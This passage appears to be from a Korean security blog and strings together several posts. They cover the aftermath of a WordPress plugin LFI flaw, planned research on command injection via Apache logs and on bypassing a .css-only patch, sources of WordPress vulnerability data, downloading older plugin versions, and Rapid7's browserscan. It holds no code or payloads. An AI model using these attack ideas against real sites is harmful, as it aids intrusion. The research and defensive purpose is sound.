    이 플러그인 취약점의 또 다른 문제점이기도 한데, 플러그인 패치를 하더라도 테마에 설치된 부분을 패치하지 않아 LFI 취약점 문제가 해결되지 않는다. 그래서 소스코드 분석을 위해 테마에 설치된 파일을 강제로 삭제 한 후 소스코드를 패치하고 활성화를 한다. (테마 생성/미생성 기준은 플러그인 활성화 유무에 의존한다.) 이러한 문제점은 결국 서두 개요의 그림 1의 내용과 같다.

3.2. 앞으로

  • 앞으로 1
    아파치 로그를 이용한 커맨드 인젝션이 가능하다고 한다. 해당 부분을 실습하기 위해 실험적인 연구를 진행할 예정이다. 만약 오래된 시스템에서 이 취약점이 발생하면 그 때 연구한 내용을 바탕으로 진행할 수 있을 것 같다.
  • 앞으로 2
    LFI / RFI 가 요즘 왜 취약하지 않은지, 그 이유를 조사 할 필요가 있다.
  • 앞으로 3
    .css 확장자를 사용하는 것만 실행하도록 패치 되었을 경우 우회하는 방법에는 어떤 것이 있는지 상상해본다.

4. 참조


1. 개요

워드프레스 취약점은 워드프레스 자체 취약점, 테마 취약점 그리고 플러그인 취약점으로 크게 세 부분에서 발생한다. 이 세가지 형태로 분류되는 취약점에 대한 간단한 생각을 정리해보면 다음과 같다.

  • 워드프레스의 개발 같은 경우 하나의 팀에서만 진행하기에 지속적인 유지 관리가 가능
  • 워드프레스에서 취약점이 발견되는 것을 해당 팀에서도 큰 이슈로 생각하고 있기에 긴급 대응을 진행함
  • 테마의 경우 View 성향이 강하기에 별다른 취약점을 발견하기 어려움
  • 테마의 경우 타인이 만들어 제공되는 형태보다 사이트 목적에 맞춰 개발하는 경우가 많음
  • 플러그인의 경우 기능이 다양한 만큼 다양한 취약점이 발생
  • 플러그인의 경우 누구나 개발하고 배포할 수 있어 무분별한 개발이 성행함
  • 때로는 플러그인 서비스 제공자가 개발을 중단하여 영원히 제로-데이인 경우가 발생
  • 필수(강제성을 띄지는 않고 유용성 측면으로 분류 됨)로 사용해야 하는 플러그인이 존재하여 여기서 취약점이 발생할 경우 대부분의 워드프레스에 영향을 미침
  • 플러그인은 너무 잦은 업데이트로 관리에 미흡할 수 있음
  • 플러그인의 정보는 스캔으로 충분히 수집이 가능하도록 데이터가 오픈되어 있음
  • 기타 등등

이 중에서 당연히 가장 많이 발생하는 것은 당연 플러그인 취약점이다. 

2. 워드프레스 취약점 사이트

워드프레스 취약점에 대한 정보를 수집하고 운영 해보며 테스트를 할 수 있는 대표적인 두 가지 사이트가 있다. 

2.1. WPscan Vulnerability Database

칼리 리눅스에 기본 구성된 도구로 WPscan 이 있다. 이 도구에서 진단하기 위한 데이터베이스가 바로 이곳 WPscan Vulnerability Database이다. 이곳은 WordPress, Plugin, Theme 취약점을 소개하고 있으며, 추가로 Most Viewed Vulnerabilities 항목이 더 있다. (왜 별도로 구분하는지는 잘 모르겠다.) 여기에 포스트된 내용에서 PoC를 공개하기도 안하기도 한다. 그 부분은 복불복에 맏겨야 한다.

그림 1. wpvulndb.com

2.2. Exploit DB Vulnerability Database

WPscan 데이터베이스는 워드프레스를 위한 취약점 데이터베이스였다면, exploit-db는 워드프레스뿐만 아니라 다양한 취약점들을 공개하고 있다. 여기서 Web Application Exploits 항목에 워드프레스 관련된 취약점들이 빈번히 업로드 되고 있다.

그림 2. exploit-db에 등재되는 워드프레스 취약점

3. 워드프레스 취약점 다운로드 받기

먼저 워드프레스 홈페이지(wordpress.org)에서 플러그인 카테고리에 접속한다. 그 다음 다운로드 받고자 하는 플러그인을 검색한 다음 검색된 플러그인을 클릭한다.

그림 3. 플러그인 다운로드 버튼 클릭

그 다음 다운로드 버튼에서 마우스 오른쪽 클릭한 후 링크 주소 복사 버튼을 클릭한다.

그림 4. 플러그인 다운로드 링크 복사

링크를 주소창에 붙여넣은 후 플러그인 이름 뒤에 버전 정보를 수정하여 다운로드 한다.

그림 5. 플러그인 버전 정보 수정

다운로드 받은 플러그인은 www.hakawati.co.kr/354 에서 설명한 내용을 토대로 설치할 수 있다.

http://rokmc843.wordpress.com/

해외 보안 업체인 Rapid7에서 browserscan이라는 웹 어플리케이션을 공개한 적이 있다. 이는 브라우저를 버전을 스캔하는 것이 아닌 브라우저와 함께 연동하는 플러그-인 프로그램들의 버전을 확인해 주는 웹 어플리케이션이다.


구글, 야후 혹은 네이버 같이 사용자 수는 많은곳은 보안이 탄탄해서 공격자의 입장에서 Work Factor가 증가하게 된다면 여간 까다로은게 아닐 것이다. 그렇다면 사용자 수 그대로 유지하면서 공격하기 위해서 해당 기업과는 다르게 별개로 운영되고 있는 광고 기업을 대상으로 공격하는 것이 Work Factor적으로 효율적이게 된다.


같은 원리로 사용자들이 인터넷을 사용하기 위해 필수인 브라우저 또한 만든 기업에 따라 보안적인 요소가 강하다고 할 수 있다. 그렇다면 이를 우회하기 위해 브라우저가 필수적으로 사용하는 플러그인들의 취약점을 찾아내는 것이 브라우저의 자체적인 취약점을 찾는것 보다 효율적이라는 점이다.


일반적으로 운영체제에 종속적인 프로그램의 경우에는 운영체제의 업데이트를 통해 한번에 보안패치를 할 수 있지만, 플러그-인들은 '자동업데이트'를 한다고 하여도 제대로 업데이트가 되었는지에 대한 확인은 까다롭기 까지 하다. 


일반적으로 브라우저의 플로그-인은 Java plug-in, Adobe Flash player, MS Silverlight 등이 있을 것이다. 이에 대한 제로데이 공격을 막을 수는 없지만, 이미 보안 패치가 완료된 공격은 충분히 막을 수 있는 것으로 생각해 보았을 때 안티바이러스 백신은 필수적인 것과 같이 주기적으로 버전 확인을 해 볼 필요성이 있다고 생각을 한다.


Rapid 7 - browserscan : browserscan 이용하기

Rapid 7 Community - SecurityStreet : browserscan 소개글



+ Recent posts